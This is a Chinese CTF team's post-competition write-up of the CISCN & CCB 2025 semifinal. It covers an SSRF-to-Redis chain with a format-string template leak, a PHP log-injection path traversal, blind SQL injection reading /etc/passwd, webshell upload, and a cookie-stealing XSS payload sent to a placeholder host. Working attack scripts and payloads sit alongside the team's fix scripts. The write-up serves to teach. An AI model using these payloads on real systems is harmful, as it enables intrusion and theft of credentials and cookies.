CISCN & CCB 2025 半决赛赛后复盘
我们队伍位于广东赛区
最终成绩:赛区第7
上半场 | AWDP
一直在猛猛修,攻击分吃不了一点
修了两道 pwn,@式 得了 MVP!
@Err0r233 迅速修了一道 java,拿了很多轮次的防守分,Error 也是 MVP
我啥都没修好,也没有攻击战果,我的评分3.0,我是躺赢狗 😭
rng-assistant
这题有附件,审计能发现很明显的 SSRF
首先这个 /admin
的鉴权相当于没有
然后可以通过改 model_port
打 SSRF
def query_model(prompt, model_id="default"):
cache_key = f"{md5(prompt.encode()).hexdigest()}:{model_id}"
cached = redis_conn.get(cache_key)
if cached:
return cached.decode()
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
# 通过 /admin/model_ports 可以修改模型对应的端口
s.connect(("127.0.0.1", get_model_port(model_id)))
s.sendall(prompt.encode("utf-8"))
response = s.recv(4096).decode("utf-8")
redis_conn.setex(cache_key, 3600, response) # Cache for 1 hour
return response
except Exception as e:
return f"Model service error: {str(e)}"
打啥呢?可以看到有 redis
然后就有如下的脚本,可以执行任意 redis 命令(发送命令的时候一定要记得换行啊!不然 redis 会认为输入还未结束,导致整个服务卡住)
import requests
import json
host = "10.10.1.114"
port = 27227
payload = "info\n"
resp = requests.post(
url=f"http://{host}:{port}/register",
headers={"Content-Type": "application/json"},
data=json.dumps({"username": "caterpie", "password": "password"})
)
resp = requests.post(
url=f"http://{host}:{port}/login",
headers={"Content-Type": "application/json"},
data=json.dumps({"username": "caterpie", "password": "password"})
)
session = resp.headers.get("Set-Cookie").split(";")[0].split("=")[1]
resp = requests.post(
url=f"http://{host}:{port}/admin/model_ports",
headers={
"X-User-Role": "admin",
"Content-Type": "application/json",
},
cookies={"session": session},
data=json.dumps({"model_id": "redis", "port": 6379})
)
resp = requests.post(
url=f"http://{host}:{port}/admin/raw_ask",
headers={
"X-User-Role": "admin",
"Content-Type": "application/json",
},
cookies={"session": cookie},
data=json.dumps({"model_id": "redis", "prompt": payload})
)
print(resp.text)
赛时打到这里就卡住了,想着通过 redis 未授权访问直接拿 shell。但是 redis 的权限太低,哪都写不了日志。还尝试主从复制加载恶意模块,也以失败告终
和队友想破头了都没想到怎么前进,只好开始 fix
既然后台很容易进入,那就把 X-User-Role 改复杂一点;既然有 redis 未授权访问,那就不允许将模型端口设置为 6379
(这题不允许替换文件,只允许使用 sed 更新文件内容)
#!/bin/bash
$NEW_PASSWD = "aDm1Ni2eb56O"
ps -ef | grep python | grep -v grep | awk '{print $2}' | xargs kill -9
sed -i "s/get(\"X-User-Role\") != \"admin\"/get(\"X-User-Role\") != \"$NEW_PASSWD\"/g" /app/app.py
sed -i "s/\"admin\"/\"$NEW_PASSWD\"/g" /etc/nginx/sites-available/flask_app
sed -i "s/model_ports\[model_id\] = port/model_ports\[model_id\] = 50051 if port == 6379 else port/g" /app/app.py
python3 /app/mini-ollama/default.py &
python3 /app/mini-ollama/math-v1.py &
gunicorn --workers 1 --user=www-data --bind 127.0.0.1:8000 app:app &
结果怎么 fix 都是 “操作失败”
后面复盘,自己起了环境后发现,我们传的 update.sh 应该是报错了
报错原因
1、使用 python3 /app/app.py
而不是 python3 /app/app.py &
,导致 update 脚本没有退出,判我们死循环
2、使用 gunicorn --workers 1 --user=www-data --bind 127.0.0.1:8000 app:app &
,但是路径不对,导致 gunicorn 找不到 app,应该先 cd /app
3、没有 reload nginx 的配置文件,导致从 127.0.0.1 也没办法使用 admin 功能,判过度防御了
赛后尝试在本地验证,个人认为下面的脚本是可以 fix 成功的
#!/bin/bash
$NEW_PASSWD = "aDm1Ni2eb56O"
# down 掉所有 python 服务
ps -ef | grep python | grep -v grep | awk '{print $2}' | xargs kill -9
# 修复 SSRF
sed -i "s/get(\"X-User-Role\") != \"admin\"/get(\"X-User-Role\") != \"$NEW_PASSWD\"/g" /app/app.py
sed -i "s/model_ports\[model_id\] = port/model_ports\[model_id\] = 50051 if port == 6379 else port/g" /app/app.py
# 重启 python 服务
python3 /app/mini-ollama/default.py &
python3 /app/mini-ollama/math-v1.py &
cd /app
gunicorn --workers 1 --user=www-data --bind 127.0.0.1:8000 app:app &
# 刷新 nginx 配置
sed -i "s/\"admin\"/\"$NEW_PASSWD\"/g" /etc/nginx/sites-available/flask_app
nginx -s reload
说完了 fix,那怎么 attack 呢?
可以看到这个地方使用了 format
进行字符串格式化
并且将 self
也就是 PromptTemplate
实例传入了,看一下模板字符串长什么样
是不是有点 SSTI 的感觉?format
函数允许以下操作:获取对象的属性、使用键或索引取值;但是不能进行函数调用
对于能控制的 format 模板,实现 rce 的难度比较大,不过我们可以通过获取 __globals__
泄露一些信息
那我们现在的目标就是控制 PromptTemplate.get_template
返回的模板内容
可以看到靶机是从 redis 获取模板的
这里的 template_id
我们没法控制,恒为 math-v1
;如果能控的话这里有任意文件读
结合前面的 SSRF,将 prompt:math-v1
修改成 {t.__init__.__globals__}
最后到 /ask
随便问个问题触发模板字符串的渲染即可获取 flag
@app.route("/ask", methods=["POST"])
def ask_question():
if "user" not in session:
return jsonify({"error": "Login required"}), 401
data = request.json
question = data.get("question")
model_id = data.get("model_id", "default")
final_prompt = generate_prompt(question)
response = query_model(final_prompt, model_id)
# 这里的 final_prompt 就是渲染后的模板字符串
res = {"answer": response, "prompt": final_prompt, "model_id": model_id, "user": whoami(session['user'])}
return jsonify(res)
ccform
这题被 fix 麻了,上半场结束时有几十个队成功 fix,十分神秘。我们找了半天都没找到漏洞点在哪,也尝试了各种通防,最后耗完 10 次修复机会都没有成功
赛后询问其他队伍得到了解题思路
先说漏洞点,在 admin.php
中存在一个日志解析漏洞
可以看到 $log_lines
是使用换行符分割的,对于这些“使用某字符分割”的结构,要有一定的敏感性,像是 php session 反序列化漏洞就是对 分隔符|
处理不当导致的
如果能够在日志的某个条目中添加换行符,就能实现插入任意的日志条目
<?php
$action_log_path = '/var/www/action.log';
if (!file_exists($action_log_path)) {
die("Action log file not found.");
}
$action_log = file_get_contents($action_log_path);
$log_lines = explode("\n", $action_log);
$banned_users = [];
$failed_logs = [];
foreach ($log_lines as $line) {
if (empty($line)) {
continue;
}
$parts = explode(',', $line);
if (count($parts) < 5) {
continue;
}
$encoded_user = $parts[1];
$action = $parts[2];
$success = (int) $parts[3];
$additional_info = $parts[4];
if ($action === 'record_banned') {
if ($success === 1) {
$banned_users[$encoded_user][] = $additional_info;
} else {
$failed_logs[] = $additional_info;
}
}
}
$banned_contents = [];
foreach ($banned_users as $encoded_user => $logs) {
$banned_dir = "/var/www/banned/{$encoded_user}";
if (file_exists($banned_dir)) {
$files = scandir($banned_dir);
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$file_path = $banned_dir . '/' . $file;
$content = file_get_contents($file_path);
$banned_contents[$username][] = $content;
}
}
}
}
阅读源码可知,当我们插入如下日志时
<任意内容>,../../../,record_banned,1,<任意内容>
服务器将会把 ../../../
作为 $encoded_user
,从而读取根目录的所有文件内容
那我们要怎么控制日志的内容呢?去看写日志的逻辑
<?php
function log_action($username, $action, $succ, $additional = '')
{
$log_id = uniqid();
$e_username = encode_uname($username);
$log_line = sprintf(
"%s,%s,%s,%d,%s\n",
$log_id,
$e_username,
$action,
$succ,
$additional
);
file_put_contents('/var/www/action.log', $log_line, FILE_APPEND);
}
搜索全局对 log_action
的引用,发现我们能控制的字段只有 $username
和 $additional
其中 username 在写入日志前会进行 base64 编码,这里没办法触发解析洞
additional 只有唯一的一个地方可控
<?php
function record_banned($username, $banned)
{
$e_username = encode_uname($username);
$banned_dir = "/var/www/banned/{$e_username}";
$created = true;
if (!file_exists($banned_dir)) {
$created = mkdir($banned_dir, 0750);
}
$log = "";
$succ = 1;
if (!$created) {
$succ = 0;
// 这是唯一的可控点,将原始的 $username 拼接进去了
$log = "Failed to create record directory for " . $username;
} else {
$filename = $banned_dir . '/' . time() . '.txt';
if (!file_put_contents($filename, $banned)) {
$succ = 0;
$log = "Failed to record banned content";
}
}
log_action($username, 'record_banned', $succ, $log);
}
要触发这段逻辑,就要使前面的 mkdir
失败
<?php
$e_username = encode_uname($username);
$banned_dir = "/var/www/banned/{$e_username}";
$create = mkdir($banned_dir, 0750);
由于这里不允许创建多级目录,而 base64 编码是可能产生 /
的,所以我们可以通过如下脚本寻找满足要求的 username
<?php
$username = "\n,../../../,record_banned,1,";
for ($i=0;$i<=2000;$i++) {
for ($j=0;$j<=2000;$j++) {
$new_username = chr($i) . chr($j) . $username;
$e_username = base64_encode($new_username);
if (strpos($e_username, '/') > 0) {
die(urlencode($new_username) . " : " . $e_username);
}
}
}
到这里就打通整个路线了,首先注册一个用户名为: %03%F0%0A%2C..%2F..%2F..%2F%2Crecord_banned%2C1%2C
的用户
然后发送一个含有敏感词的 reply,触发 record_banned
;最后进入 admin.php
触发日志解析漏洞获取 flag
知道怎么 break,fix 就很简单了。有两种比较简洁的修复方式
1、ban 掉 additional 中的换行符
2、将 encode_uname 的编码方式换成不会产生斜杠的 md5
下半场 | ISW
@式 和 @9C±Void 逮着应急响应猛薅,出了3个还是4个 flag
我也完成了不爆零的任务,Web-Git 拿到了 webshell,flag1 直接吃了 580+ 分,爽 😋
Web-Git
nmap 扫描结果
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-16 05:10 CST
Initiating Ping Scan at 05:10
Scanning 172.16.195.40 [4 ports]
Completed Ping Scan at 05:10, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:10
Completed Parallel DNS resolution of 1 host. at 05:10, 13.00s elapsed
Initiating SYN Stealth Scan at 05:10
Scanning 172.16.195.40 [1000 ports]
Discovered open port 110/tcp on 172.16.195.40
Discovered open port 993/tcp on 172.16.195.40
Discovered open port 111/tcp on 172.16.195.40
Discovered open port 143/tcp on 172.16.195.40
Discovered open port 3306/tcp on 172.16.195.40
Discovered open port 995/tcp on 172.16.195.40
Discovered open port 80/tcp on 172.16.195.40
Discovered open port 25/tcp on 172.16.195.40
Discovered open port 443/tcp on 172.16.195.40
Discovered open port 9999/tcp on 172.16.195.40
Completed SYN Stealth Scan at 05:10, 0.08s elapsed (1000 total ports)
Nmap scan report for 172.16.195.40
Host is up (0.0011s latency).
Not shown: 990 closed tcp ports (reset)
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
110/tcp open pop3
111/tcp open rpcbind
143/tcp open imap
443/tcp open https
993/tcp open imaps
995/tcp open pop3s
3306/tcp open mysql
9999/tcp open abyss
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds
Raw packets sent: 1004 (44.152KB) | Rcvd: 1001 (40.084KB)
dirsearch 扫描结果
[13:04:44] 301 - 234B - /.git -> http://172.16.195.40/.git/
[13:04:44] 200 - 694B - /.git/branches/
[13:04:44] 200 - 12B - /.git/COMMIT_EDITMSG
[13:04:44] 200 - 73B - /.git/description
[13:04:44] 200 - 92B - /.git/config
[13:04:44] 200 - 3KB - /.git/
[13:04:44] 200 - 23B - /.git/HEAD
[13:04:44] 200 - 3KB - /.git/hooks/
[13:04:44] 200 - 104B - /.git/index
[13:04:44] 200 - 894B - /.git/info/
[13:04:44] 200 - 240B - /.git/info/exclude
[13:04:44] 200 - 1KB - /.git/logs/
[13:04:44] 200 - 1KB - /.git/logs/HEAD
[13:04:44] 301 - 250B - /.git/logs/refs/heads -> http://172.16.195.40/.git/logs/refs/heads/
[13:04:44] 301 - 244B - /.git/logs/refs -> http://172.16.195.40/.git/logs/refs/
[13:04:44] 200 - 289B - /.git/logs/refs/heads/master
[13:04:44] 200 - 3KB - /.git/objects/
[13:04:44] 200 - 1KB - /.git/refs/
[13:04:44] 301 - 244B - /.git/refs/tags -> http://172.16.195.40/.git/refs/tags/
[13:04:44] 301 - 245B - /.git/refs/heads -> http://172.16.195.40/.git/refs/heads/
[13:04:44] 200 - 41B - /.git/refs/heads/master
[13:04:44] 403 - 213B - /.ht_wsr.txt
[13:04:44] 403 - 216B - /.htaccess.bak1
[13:04:44] 403 - 216B - /.htaccess.orig
[13:04:44] 403 - 216B - /.htaccess_orig
[13:04:44] 403 - 217B - /.htaccess_extra
[13:04:44] 403 - 218B - /.htaccess.sample
[13:04:44] 403 - 216B - /.htaccess.save
[13:04:44] 403 - 214B - /.htaccessBAK
[13:04:44] 403 - 214B - /.htaccessOLD
[13:04:44] 403 - 215B - /.htaccessOLD2
[13:04:44] 403 - 206B - /.htm
[13:04:44] 403 - 214B - /.htaccess_sc
[13:04:44] 403 - 207B - /.html
[13:04:44] 403 - 216B - /.htpasswd_test
[13:04:44] 403 - 212B - /.htpasswds
[13:04:44] 403 - 213B - /.httr-oauth
[13:04:52] 301 - 236B - /assets -> http://172.16.195.40/assets/
[13:04:52] 200 - 1KB - /assets/
[13:04:52] 301 - 236B - /backup -> http://172.16.195.40/backup/
[13:04:52] 403 - 209B - /backup/
[13:04:53] 403 - 210B - /cgi-bin/
[13:04:56] 200 - 13B - /default.php
[13:05:00] 302 - 29KB - /header.php -> /login
[13:05:01] 302 - 82KB - /index.php -> /login
[13:05:01] 302 - 82KB - /index.php/login/ -> /login
[13:05:01] 302 - 35KB - /info.php -> /login
[13:05:03] 200 - 0B - /log.php
[13:05:03] 301 - 235B - /login -> http://172.16.195.40/login/
[13:05:03] 200 - 838B - /login/
[13:05:03] 302 - 0B - /logout.php -> /login
[13:05:04] 301 - 236B - /manual -> http://172.16.195.40/manual/
[13:05:04] 200 - 9KB - /manual/index.html
[13:05:07] 403 - 211B - /php5.fcgi
[13:05:16] 200 - 0B - /user.php
容易发现有 git 泄露,githack 一把梭。结果什么都没有… 也没找到其他分支
登录页面有 SQL 注入,不过是盲注。队友写了盲注读文件的脚本,结果发现除了 /etc/passwd 啥都读不了(红温了
import requests
import time
url = 'http://172.16.195.40/login/'
res="" #结果
for i in range(1,1000): #循环
left=32
right=128
mid=(left + right) //2 #二分中值
while (left < right):
payload = "1' or (ascii(substr((select(load_file('../../../../../../../etc/passwd'))),%d,1))<%d)#" % (i, mid)
data = {"password": "1", "username": payload}
html = requests.post(url=url, data=data)
print(payload)
time.sleep(0.2) #防止429
if "登录成功" in html.text:
right = mid
else:
left = mid + 1
mid = (left + right) //2
if mid <= 32 or mid >= 127:
break
res+=chr(mid-1)
print(res)
print("Final Results:",res)
然后就卡了一段时间,万能用户名登陆成功之后会弹回根目录,但是根目录就是一个普通的静态页面
突然想起来,dirsearch 扫描的时候有些路由会跳转到 login,这些地方在登陆后应该能查看了
[13:05:00] 302 - 29KB - /header.php -> /login
[13:05:01] 302 - 82KB - /index.php -> /login
[13:05:01] 302 - 82KB - /index.php/login/ -> /login
[13:05:01] 302 - 35KB - /info.php -> /login
然后就进到了前台,有一个文件上传的接口,成功传马上线
然后在靶机里翻了半天,我 flag 呢?
用 find 搜文件名带 flag 的文件
看到一些 githack 没 dump 下来的 git 文件,于是让 Error 帮忙把整个网站都打包下来看。发现多了个 flag 分支
然后在该分支里找到了 flag1
结束后和其他队伍交流,发现用 wget -r http://172.16.195.40/.git/
就能把含 flag 分支的仓库 dump 下来,被 githack 演了我靠
然后这题就没有其它进展了,复盘发现错过了很多分数,有几个 flag 是 getshell 之后应该拿到的
首先是 flag4,在 /home/gitlab/lookme 里面,使用 find / -type f | xargs grep -H -l 'flag\d\{' &2>/dev/null
就能搜到
然后是 flag3,getshell 后能够拿到数据库的账号密码
登入数据库能找到 ryan 用户密码,然后用该账密登录靶机的邮件服务器,可以从收件箱里找到 flag3(靶机是存在 pop3 和 imap 邮件接收服务的,用 telnet 任意登入一个服务即可)
也可以在 shell 中 su 切换到 ryan 用户,然后用 grep
把 flag 搜出来
反思时间:
1、没想过按照文件内容来搜 flag,都拿到 shell 了,这么大优势都没把握住
2、获取数据库密码之后为啥不登进去看一眼啊?还是不够冷静,打了6个多小时头昏了
3、对于路由的行为还是不够敏感,卡了一段时间才想起来登录成功后能进入某些之前无法访问的路由,白白浪费了时间
4、太依赖一把梭工具,当工具出现问题时就抓瞎
CCB2025
这题提示管理员每 5min 访问一次页面,用脚想都知道是打 xss 了
dirsearch 扫描结果
[06:17:27] 403 - 278B - /.ht_wsr.txt
[06:17:27] 403 - 278B - /.htaccess.bak1
[06:17:27] 403 - 278B - /.htaccess.orig
[06:17:27] 403 - 278B - /.htaccess.save
[06:17:27] 403 - 278B - /.htaccess_extra
[06:17:27] 403 - 278B - /.htaccess_orig
[06:17:27] 403 - 278B - /.htaccess_sc
[06:17:27] 403 - 278B - /.htaccessOLD
[06:17:27] 403 - 278B - /.htaccessBAK
[06:17:27] 403 - 278B - /.htaccess.sample
[06:17:27] 403 - 278B - /.htaccessOLD2
[06:17:27] 403 - 278B - /.htm
[06:17:27] 403 - 278B - /.html
[06:17:27] 403 - 278B - /.htpasswd_test
[06:17:27] 403 - 278B - /.htpasswds
[06:17:27] 403 - 278B - /.httr-oauth
[06:17:28] 403 - 278B - /.php
[06:17:57] 302 - 0B - /dashboard.php -> login.html
[06:18:02] 200 - 484B - /feedback.html
[06:18:06] 301 - 312B - /img -> http://172.18.195.20/img/
[06:18:11] 200 - 524B - /login.html
[06:18:12] 302 - 0B - /logout.php -> login.html
[06:18:29] 403 - 278B - /server-status/
[06:18:29] 403 - 278B - /server-status
[06:18:33] 301 - 312B - /src -> http://172.18.195.20/src/
[06:18:33] 200 - 473B - /src/
[06:18:39] 200 - 15KB - /users.log
其中 /feedback.html
是一个能留言和传文件的页面。然后所有能写 xss payload 的字段我都塞上了,等到花都谢了还是没收到 cookie
队友也是一样的情况,不知道他打了什么 payload(我勒个豆,为啥当时没有交流一下啊?我们在干嘛?)
据说拿到管理员 cookie 登入后,文件上传一条龙直接 getshell,然后就有 flag 了
赛后其他队伍给的 xss payload:
<script>new Image().src="http://your_ip:your_port/?cookies=" + document.cookie;</script>
我用了 fetch、img.onerror、img.onload,都没成功,xss 姿势还是积累得太少
总结
win10 截图快捷键:win + shift + s
,这个可以做局部截屏
update 脚本尽量用绝对路径启动服务
用 find / -name "flag" &2>/dev/null
找文件名带 flag
的文件
用 find / -type f | xargs grep -H -l 'flag' &2>/dev/null
找文件内容中含 flag
的文件(慎用,全盘搜索速度会很慢)最好能缩小查找范围,例如确定 flag 在 /var
目录里,那就不要从根目录开始搜索,使用 find /var -type f | xargs grep -H -l 'flag' &2>/dev/null
会更好
不要太信任工具,githack 演我
外出比赛要带备用衣物,包括内裤和袜子;周六在广州被大雨淋傻了